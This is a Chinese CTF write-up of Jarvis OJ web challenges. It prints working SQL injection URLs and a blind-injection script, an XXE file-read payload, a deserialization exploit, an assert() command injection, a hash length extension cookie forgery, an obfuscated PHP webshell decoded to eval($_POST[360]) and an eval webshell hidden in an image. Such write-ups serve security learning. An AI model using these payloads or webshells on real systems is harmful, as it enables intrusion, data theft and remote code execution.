PORT51
要从51端口访问这个网站,curl走一波:
curl web.jarvisoj.com:32770 --local-port 51
LOCALHOST
本地访问,加一对XFF键值对就好啦:
X-Forwarded-For : 127.0.0.1
Login
需要登录,尝试注入,未果。抓包,发现 header 里面有一个hint:
"select * from `admin` where password='".md5($pass,true)."'"
md5()
这个函数可以接受两个参数:string
和 raw
。
- 第一个参数string是必需的,规定要计算的字符串。
第二个参数raw可选,规定十六进制或二进制输出格式:
- TRUE – 原始 – 16 字符二进制格式
- FALSE – 默认 – 32 字符十六进制数
raw
参数为 true 意味着加密后的值会被当成字符串来看,于是找一个加密后带有注入语句的值就可以了。
这里给出两个:
content: 129581926211651571912466741651878684928
hex: 06da5430449f8f6f23dfc1276f722738
raw: \x06\xdaT0D\x9f\x8fo#\xdf\xc1'or'8
string: T0Do#'or'8
content: ffifdyop
hex: 276f722736c95d99e921722cf9ed621c
raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
string: 'or'6]!r,b
神盾局的秘密
这道题打开来是一张图片。日常查看源码,发现源码如下:
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>
点开链接,发现是一堆奇怪的字符。观察这个URL,这里应该是将 img 进行base64解密后再将这个文件包含进来。想到文件包含,那就来包含一下这个 showimg.php 和 index.php 的源码吧:
<?php
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
<?php
$f = $_GET['img'];
if (!empty($f)) {
$f = base64_decode($f);
if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
&& stripos($f,'pctf')===FALSE) {
readfile($f);
} else {
echo "File not found!";
}
}
?>
看到 index.php 里面的 unserialize
就想到反序列化漏洞。然后就找可用的函数。这里包含了一个 shield.php ,于是再看一下它的源码:
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>
这时候应该很明显了。剩下的不难,直接放exp吧:
<?php
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
$a = new Shield('pctf.php');
echo serialize($a);
?>
Get flag.
IN A Mess
打开题目,日常查看源码。发现有提示index.phps。打开后发现是 index.php 的源码:
<?php
error_reporting(0);
echo "<!--index.phps-->";
if(!$_GET['id'])
{
header('Location: index.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'Hahahahahaha';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("flag.txt");
}
else
{
print "work harder!harder!harder!";
}
?>
观察源码,接受三个参量,然后就是各种限制了。绕过方法如下:
- id=asd : 利用PHP中
==
漏洞来绕过; - a=php://input : PHP伪协议的利用;
- b=%00asdasdas : 利用
%00
截断来绕过eregi
函数;
绕过之后得到:
Come ON!!! {/^HT2mCpcvOLf}
一个新路径。进去之后没什么东西。看到URL中id=1,猜想会有SQL注入漏洞。输入一个单引号,返回 SELECT * FROM content WHERE id=1’
。简单测试了一下,过滤了 空格
以及 /**/
,还有像 select
, union
, from
这种关键字都被正则替换了一次。
确定了这些后,接下来就是绕过了:
- 空格被过滤了就用注释代替(如
/*asd*/
); - select 这些就用
selselectect
这样的绕过就好了。
那么就开始注入吧:
确定列数
http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=0/*aaa*/ununionion/*aaa*/seselectlect/*aaa*/1,2,3%23
确定表名
http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=0/*aaa*/ununionion/*aaa*/seselectlect/*aaa*/1,2,group_concat(table_name)/*aaa*/frofromm/*aaa*/information_schema.columns/*aaa*/where/*aaa*/table_schema=database()#
确定列名
http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=0/*aaa*/ununionion/*aaa*/seselectlect/*aaa*/1,2,group_concat(column_name)/*aaa*/frofromm/*aaa*/information_schema.columns/*aaa*/where/*aaa*/table_name=0x636f6e74656e74%23
获得数据
http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=0/*aaa*/ununionion/*aaa*/seselectlect/*aaa*/1,2,context/*aaa*/frfromom/*aaa*/content%23
成功Get flag。
inject
Hint 让我找源码,那就扫一波后台。果然扫出了一个奇怪的路径:index.php~
。打开后得到源码:
<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>
那就注入吧。这个反引号比较神奇:
desc `users` `23333333`;
像这样的语句,只要第一个反引号中的表是存在的,那么这整条语句都不会报错。于是乎,开始注入:
查库名
?table=flag` ` union select database() limit 1,1
查表名
?table=flag` ` union select group_concat(table_name) from information_schema.columns where table_schema=database() limit 1,1
查列名
?table=flag` ` union select group_concat(column_name) from information_schema.columns where table_name=0x7365637265745f666c6167 limit 1,1
查flag
?table=flag` ` union select flagUwillNeverKnow from secret_flag limit 1,1
成功 Get flag。
babyphp
打开题目后,在about里面写了使用了GIT,猜测有源码泄露。用GitHack爬一波源码:
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>My PHP Website</title>
<link rel="stylesheet" href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css" />
</head>
<body>
<nav class="navbar navbar-inverse navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="#">Project name</a>
</div>
<div id="navbar" class="collapse navbar-collapse">
<ul class="nav navbar-nav">
<li <?php if ($page == "home") { ?>class="active"<?php } ?>><a href="?page=home">Home</a></li>
<li <?php if ($page == "about") { ?>class="active"<?php } ?>><a href="?page=about">About</a></li>
<li <?php if ($page == "contact") { ?>class="active"<?php } ?>><a href="?page=contact">Contact</a></li>
<!--<li <?php if ($page == "flag") { ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li> -->
</ul>
</div>
</div>
</nav>
<div class="container" style="margin-top: 50px">
<?php
require_once $file;
?>
</div>
<script src="http://code.jquery.com/jquery-latest.js" />
<script src="http://libs.baidu.com/bootstrap/3.0.3/js/bootstrap.min.js" />
</body>
</html>
查看源码,发现有一句注释掉的语句:
<!--<li ><a href="?page=flag">My secrets</a></li> -->
暂时没什么用处。观察这三句:
$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
assert("file_exists('$file')") or die("That file doesn't exist!");
PHP有一个神奇的特性:字符串在拼接的时候是可以执行命令的!
所以构造Payload如下:
?page=flag'.system("ls templates/;").'
此时构造出来的语句如下:
assert("strpos('templates/flag'.system("ls templates/;").'.php', '..') === false") or die("Detected hacking attempt!");
此时程序会先执行ls,然后将输出结果与'templates/'和'.php'拼接起来,然后再去执行strpos,所以输出结果:
about.php contact.php flag.php home.php about.php contact.php flag.php home.php That file doesn't exist!
于是cat flag:
http://web.jarvisoj.com:32798/?page=flag%27.system(%22cat%20templates/flag.php%22).%27
在源码中可以看到flag被注释掉了,所以F12就好啦~
Simple Injection
基于布尔的盲注。测试了一下只过滤了空格。那么上脚本:
#encoding: utf-8
import requests
import string
characters = string.ascii_letters + string.digits + string.punctuation
url = "http://web.jarvisoj.com:32787/login.php"
r = requests.session()
max_len = 50
database = ""
for i in range(1,max_len):
next_postion = False
for j in characters:
#payload = "admin'/**/and/**/substr(database(),{0},1)='{1}'#" .format(i, j)
#payload = "admin'/**/and/**/substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1),{0},1)='{1}'#" .format(i, j)
#payload = "admin'/**/and/**/substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='admin'/**/limit/**/2,1),{0},1)='{1}'#" .format(i, j)
payload = "admin'/**/and/**/substr((select/**/password/**/from/**/admin),{0},1)='{1}'#" .format(i, j)
#print (payload)
data = {
"username": payload,
"password": "admin"
}
response = r.post(url, data=data)
if "密码错误" in response.text:
database += j
next_postion = True
break
if not next_postion:
break
print (database)
print (database)
(爆破哪些信息应该看的出来吧╰( ̄ω ̄o))
api调用
这题需要用到XXE漏洞。来几篇文章了解一下XXE:
https://security.tencent.com/index.php/blog/msg/69
http://www.freebuf.com/articles/web/126788.html
http://www.mottoin.com/92794.html
将Content-Type改为 application/xml,再POST以下数据上去:
<?xml version="1.0"?>
<!DOCTYPE abcd[
<!ENTITY any SYSTEM "file:///home/ctf/flag.txt">]>
<something>&any;</something>
Get Flag!
WEB?
打开以为是注入,然而并不是……查看源码发现 app.js
这个路径,打开后得到一堆JS代码。找个在线网站格式化一下。(好长一段就不放上来了吧)
搜一下password,得到以下代码:
$.post("checkpass.json", t,
function(t) {
self.checkpass(e) ? self.setState({
errmsg: "Success!!",
errcolor: b.green400
}) : (self.setState({
errmsg: "Wrong Password!!"
......
}))
})
再搜一下这个checkpass函数,得到:
function(e) {
if (25 !== e.length) return ! 1;
for (var t = [], n = 0; n < 25; n++) t.push(e.charCodeAt(n));
for (var r = [325799, 309234, 317320, 327895, 298316, 301249, 330242, 289290, 273446, 337687, 258725, 267444, 373557, 322237, 344478, 362136, 331815, 315157, 299242, 305418, 313569, 269307, 338319, 306491, 351259], o = [[11, 13, 32, 234, 236, 3, 72, 237, 122, 230, 157, 53, 7, 225, 193, 76, 142, 166, 11, 196, 194, 187, 152, 132, 135], [76, 55, 38, 70, 98, 244, 201, 125, 182, 123, 47, 86, 67, 19, 145, 12, 138, 149, 83, 178, 255, 122, 238, 187, 221], [218, 233, 17, 56, 151, 28, 150, 196, 79, 11, 150, 128, 52, 228, 189, 107, 219, 87, 90, 221, 45, 201, 14, 106, 230], [30, 50, 76, 94, 172, 61, 229, 109, 216, 12, 181, 231, 174, 236, 159, 128, 245, 52, 43, 11, 207, 145, 241, 196, 80], [134, 145, 36, 255, 13, 239, 212, 135, 85, 194, 200, 50, 170, 78, 51, 10, 232, 132, 60, 122, 117, 74, 117, 250, 45], [142, 221, 121, 56, 56, 120, 113, 143, 77, 190, 195, 133, 236, 111, 144, 65, 172, 74, 160, 1, 143, 242, 96, 70, 107], [229, 79, 167, 88, 165, 38, 108, 27, 75, 240, 116, 178, 165, 206, 156, 193, 86, 57, 148, 187, 161, 55, 134, 24, 249], [235, 175, 235, 169, 73, 125, 114, 6, 142, 162, 228, 157, 160, 66, 28, 167, 63, 41, 182, 55, 189, 56, 102, 31, 158], [37, 190, 169, 116, 172, 66, 9, 229, 188, 63, 138, 111, 245, 133, 22, 87, 25, 26, 106, 82, 211, 252, 57, 66, 98], [199, 48, 58, 221, 162, 57, 111, 70, 227, 126, 43, 143, 225, 85, 224, 141, 232, 141, 5, 233, 69, 70, 204, 155, 141], [212, 83, 219, 55, 132, 5, 153, 11, 0, 89, 134, 201, 255, 101, 22, 98, 215, 139, 0, 78, 165, 0, 126, 48, 119], [194, 156, 10, 212, 237, 112, 17, 158, 225, 227, 152, 121, 56, 10, 238, 74, 76, 66, 80, 31, 73, 10, 180, 45, 94], [110, 231, 82, 180, 109, 209, 239, 163, 30, 160, 60, 190, 97, 256, 141, 199, 3, 30, 235, 73, 225, 244, 141, 123, 208], [220, 248, 136, 245, 123, 82, 120, 65, 68, 136, 151, 173, 104, 107, 172, 148, 54, 218, 42, 233, 57, 115, 5, 50, 196], [190, 34, 140, 52, 160, 34, 201, 48, 214, 33, 219, 183, 224, 237, 157, 245, 1, 134, 13, 99, 212, 230, 243, 236, 40], [144, 246, 73, 161, 134, 112, 146, 212, 121, 43, 41, 174, 146, 78, 235, 202, 200, 90, 254, 216, 113, 25, 114, 232, 123], [158, 85, 116, 97, 145, 21, 105, 2, 256, 69, 21, 152, 155, 88, 11, 232, 146, 238, 170, 123, 135, 150, 161, 249, 236], [251, 96, 103, 188, 188, 8, 33, 39, 237, 63, 230, 128, 166, 130, 141, 112, 254, 234, 113, 250, 1, 89, 0, 135, 119], [192, 206, 73, 92, 174, 130, 164, 95, 21, 153, 82, 254, 20, 133, 56, 7, 163, 48, 7, 206, 51, 204, 136, 180, 196], [106, 63, 252, 202, 153, 6, 193, 146, 88, 118, 78, 58, 214, 168, 68, 128, 68, 35, 245, 144, 102, 20, 194, 207, 66], [154, 98, 219, 2, 13, 65, 131, 185, 27, 162, 214, 63, 238, 248, 38, 129, 170, 180, 181, 96, 165, 78, 121, 55, 214], [193, 94, 107, 45, 83, 56, 2, 41, 58, 169, 120, 58, 105, 178, 58, 217, 18, 93, 212, 74, 18, 217, 219, 89, 212], [164, 228, 5, 133, 175, 164, 37, 176, 94, 232, 82, 0, 47, 212, 107, 111, 97, 153, 119, 85, 147, 256, 130, 248, 235], [221, 178, 50, 49, 39, 215, 200, 188, 105, 101, 172, 133, 28, 88, 83, 32, 45, 13, 215, 204, 141, 226, 118, 233, 156], [236, 142, 87, 152, 97, 134, 54, 239, 49, 220, 233, 216, 13, 143, 145, 112, 217, 194, 114, 221, 150, 51, 136, 31, 198]], n = 0; n < 25; n++) {
for (var i = 0, a = 0; a < 25; a++) i += t[a] * o[n][a];
if (i !== r[n]) return ! 1
}
return ! 0
}
25元方程组…………打扰了…………
上Python脚本:
import numpy as np
o = [[11, 13, 32, 234, 236, 3, 72, 237, 122, 230, 157, 53, 7, 225, 193, 76, 142, 166, 11, 196, 194, 187, 152, 132, 135], [76, 55, 38, 70, 98, 244, 201, 125, 182, 123, 47, 86, 67, 19, 145, 12, 138, 149, 83, 178, 255, 122, 238, 187, 221], [218, 233, 17, 56, 151, 28, 150, 196, 79, 11, 150, 128, 52, 228, 189, 107, 219, 87, 90, 221, 45, 201, 14, 106, 230], [30, 50, 76, 94, 172, 61, 229, 109, 216, 12, 181, 231, 174, 236, 159, 128, 245, 52, 43, 11, 207, 145, 241, 196, 80], [134, 145, 36, 255, 13, 239, 212, 135, 85, 194, 200, 50, 170, 78, 51, 10, 232, 132, 60, 122, 117, 74, 117, 250, 45], [142, 221, 121, 56, 56, 120, 113, 143, 77, 190, 195, 133, 236, 111, 144, 65, 172, 74, 160, 1, 143, 242, 96, 70, 107], [229, 79, 167, 88, 165, 38, 108, 27, 75, 240, 116, 178, 165, 206, 156, 193, 86, 57, 148, 187, 161, 55, 134, 24, 249], [235, 175, 235, 169, 73, 125, 114, 6, 142, 162, 228, 157, 160, 66, 28, 167, 63, 41, 182, 55, 189, 56, 102, 31, 158], [37, 190, 169, 116, 172, 66, 9, 229, 188, 63, 138, 111, 245, 133, 22, 87, 25, 26, 106, 82, 211, 252, 57, 66, 98], [199, 48, 58, 221, 162, 57, 111, 70, 227, 126, 43, 143, 225, 85, 224, 141, 232, 141, 5, 233, 69, 70, 204, 155, 141], [212, 83, 219, 55, 132, 5, 153, 11, 0, 89, 134, 201, 255, 101, 22, 98, 215, 139, 0, 78, 165, 0, 126, 48, 119], [194, 156, 10, 212, 237, 112, 17, 158, 225, 227, 152, 121, 56, 10, 238, 74, 76, 66, 80, 31, 73, 10, 180, 45, 94], [110, 231, 82, 180, 109, 209, 239, 163, 30, 160, 60, 190, 97, 256, 141, 199, 3, 30, 235, 73, 225, 244, 141, 123, 208], [220, 248, 136, 245, 123, 82, 120, 65, 68, 136, 151, 173, 104, 107, 172, 148, 54, 218, 42, 233, 57, 115, 5, 50, 196], [190, 34, 140, 52, 160, 34, 201, 48, 214, 33, 219, 183, 224, 237, 157, 245, 1, 134, 13, 99, 212, 230, 243, 236, 40], [144, 246, 73, 161, 134, 112, 146, 212, 121, 43, 41, 174, 146, 78, 235, 202, 200, 90, 254, 216, 113, 25, 114, 232, 123], [158, 85, 116, 97, 145, 21, 105, 2, 256, 69, 21, 152, 155, 88, 11, 232, 146, 238, 170, 123, 135, 150, 161, 249, 236], [251, 96, 103, 188, 188, 8, 33, 39, 237, 63, 230, 128, 166, 130, 141, 112, 254, 234, 113, 250, 1, 89, 0, 135, 119], [192, 206, 73, 92, 174, 130, 164, 95, 21, 153, 82, 254, 20, 133, 56, 7, 163, 48, 7, 206, 51, 204, 136, 180, 196], [106, 63, 252, 202, 153, 6, 193, 146, 88, 118, 78, 58, 214, 168, 68, 128, 68, 35, 245, 144, 102, 20, 194, 207, 66], [154, 98, 219, 2, 13, 65, 131, 185, 27, 162, 214, 63, 238, 248, 38, 129, 170, 180, 181, 96, 165, 78, 121, 55, 214], [193, 94, 107, 45, 83, 56, 2, 41, 58, 169, 120, 58, 105, 178, 58, 217, 18, 93, 212, 74, 18, 217, 219, 89, 212], [164, 228, 5, 133, 175, 164, 37, 176, 94, 232, 82, 0, 47, 212, 107, 111, 97, 153, 119, 85, 147, 256, 130, 248, 235], [221, 178, 50, 49, 39, 215, 200, 188, 105, 101, 172, 133, 28, 88, 83, 32, 45, 13, 215, 204, 141, 226, 118, 233, 156], [236, 142, 87, 152, 97, 134, 54, 239, 49, 220, 233, 216, 13, 143, 145, 112, 217, 194, 114, 221, 150, 51, 136, 31, 198]]
r = [325799, 309234, 317320, 327895, 298316, 301249, 330242, 289290, 273446, 337687, 258725, 267444, 373557, 322237, 344478, 362136, 331815, 315157, 299242, 305418, 313569, 269307, 338319, 306491, 351259]
o = np.array(o)
r = np.array(r)
x = np.linalg.solve(o,r)
#print (x)
result = ''
for i in x:
result += chr(int(round(i)))
print(result)
这个numpy库可以用来解线性方程组。解出来就是flag了。
flag在管理员手里
进去后提示要admin才能得到flag。扫一波后台,发现有个路径 index.php~ 下载下来一个文件。放进Linux里面还原,得到源码:
<!DOCTYPE html>
<html>
<head>
<title>Web 350</title>
<style type="text/css">
body {
background:gray;
text-align:center;
}
</style>
</head>
<body>
<?php
$auth = false;
$role = "guest";
$salt =
if (isset($_COOKIE["role"])) {
$role = unserialize($_COOKIE["role"]);
$hsh = $_COOKIE["hsh"];
if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {
$auth = true;
} else {
$auth = false;
}
} else {
$s = serialize($role);
setcookie('role',$s);
$hsh = md5($salt.strrev($s));
setcookie('hsh',$hsh);
}
if ($auth) {
echo "<h3>Welcome Admin. Your flag is
} else {
echo "<h3>Only Admin can see the flag!!</h3>";
}
?>
</body>
</html>
要想获得flag就需要设置Cookie中的role为admin,然后这个hsh则是一个加了盐的hash值。加了盐看似很安全,但是这里存在一个哈希长度扩展攻击。
两篇参考文章:
https://www.freebuf.com/articles/web/69264.html
https://www.freebuf.com/articles/web/31756.html
生成payload可以用hashpump这个工具。教程:
https://www.cnblogs.com/pcat/p/5478509.html
那么就上脚本吧:
import hashpumpy
import urllib
import requests
for i in range(1,30):
m=hashpumpy.hashpump('3a4727d57463f122833d9e732f94e4e0',';\"tseug\":5:s',';\"nimda\":5:s',i)
print (i)
url='http://120.26.131.152:32778/'
digest=m[0]
message=urllib.quote(urllib.unquote(m[1])[::-1])
cookie='role='+message+'; hsh='+digest
#print cookie
headers={
'cookie': cookie,
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': ':zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Accept-Encoding': 'gzip, deflate'
}
#print (headers)
re=requests.get(url=url,headers=headers)
if "Welcome" in re.text:
print (re.text)
break
Chopper
打开题目,点管理员登录,发现没有权限。查看源码,发现管理员IP:202.5.19.128。
尝试加XFF头,未果。回到最开始的界面,查看源码,发现图片的代码如下:
<img src="proxy.php?url=http://dn.jarvisoj.com/static/images/proxy.jpg" alt="">
这里我去查了writeup才知道,这里是双重文件包含。猜想管理员IP下面也有一个相同的proxy.php,于是构造URL:
http://web.jarvisoj.com:32782/proxy.php?url=http://202.5.19.128/proxy.php?url=http://web.jarvisoj.com:32782/admin/
果然访问进去了。扫一波后台,发现robots.txt,查看到有两个文件:trojan.php.txt
和 trojan.php
。
PHP后缀的应该就是木马了。打开trojan.php.txt,发现一堆奇怪的字符串:
<?php ${("#"^"|").("#"^"|")}=("!"^"`").("( "^"{").("("^"[").("~"^";").("|"^".").("*"^"~");${("#"^"|").("#"^"|")}(("-"^"H"). ("]"^"+"). ("["^":"). (","^"@"). ("}"^"U"). ("e"^"A"). ("("^"w").("j"^":"). ("i"^"&"). ("#"^"p"). (">"^"j"). ("!"^"z"). ("T"^"g"). ("e"^"S"). ("_"^"o"). ("?"^"b"). ("]"^"t"));?>
本地搭个环境,跑一遍看看,发现报错:
Notice: Undefined offset: 360 in G:\Study\Server\PHPStudy\PHPTutorial\WWW\index.php(1) : assert code on line 1
Warning: assert(): Assertion "eval($_POST[360])" failed in G:\Study\Server\PHPStudy\PHPTutorial\WWW\index.php on line 1
得到木马 eval($_POST[360])
。菜刀连上去,得到flag。
RE?
给了一个so文件。这里有一个东西叫做udf提权(等我仔细学习后再记录吧)。
> show variables like "%plugin%";
+---------------+------------------------+
| Variable_name | Value |
+---------------+------------------------+
| plugin_dir | /usr/lib/mysql/plugin/ |
+---------------+------------------------+
#把 udf.so 移到该目录下
> create function help_me returns string soname 'udf.so';
> select help_me();
+---------------------------------------------+
| help_me() |
+---------------------------------------------+
| use getflag function to obtain your flag!! |
+---------------------------------------------+
> create function getflag returns string soname 'udf.so';
> select getflag();
+------------------------------------------+
| getflag() |
+------------------------------------------+
| PCTF{Interesting_U5er_d3fined_Function} |
+------------------------------------------+
> drop function help_me;
> drop function getflag;
Easy Gallery
图片上传和文件包含。URL中有page=
这样的语句,于是随便输一些东西,发现报错:
Warning: fopen(‘.php): failed to open stream: No such file or directory in /opt/lampp/htdocs/index.php on line 24
No such file!
于是猜想文件包含。发现会加.php后缀,于是加%00截断,发现可以截断。用伪协议读源码,发现被ban了。
猜想上传木马再进行文件包含。上传发现只能上传jpg或gif,于是把木马写在图片的最后。发现被改名了。
扫一波目录发现有upload目录,估计上传的文件都在这里。
到这里我就没思路了。查了wp后说是只要包含了就给flag。于是包含,发现 <?php
被ban了。改成<script language='php'> @eval($_GET["cmd"]); </script>
,得到flag。
看到有大佬说这题只检测了
<script language='php'>
和<?php
。出现前者给flag,后者就ban。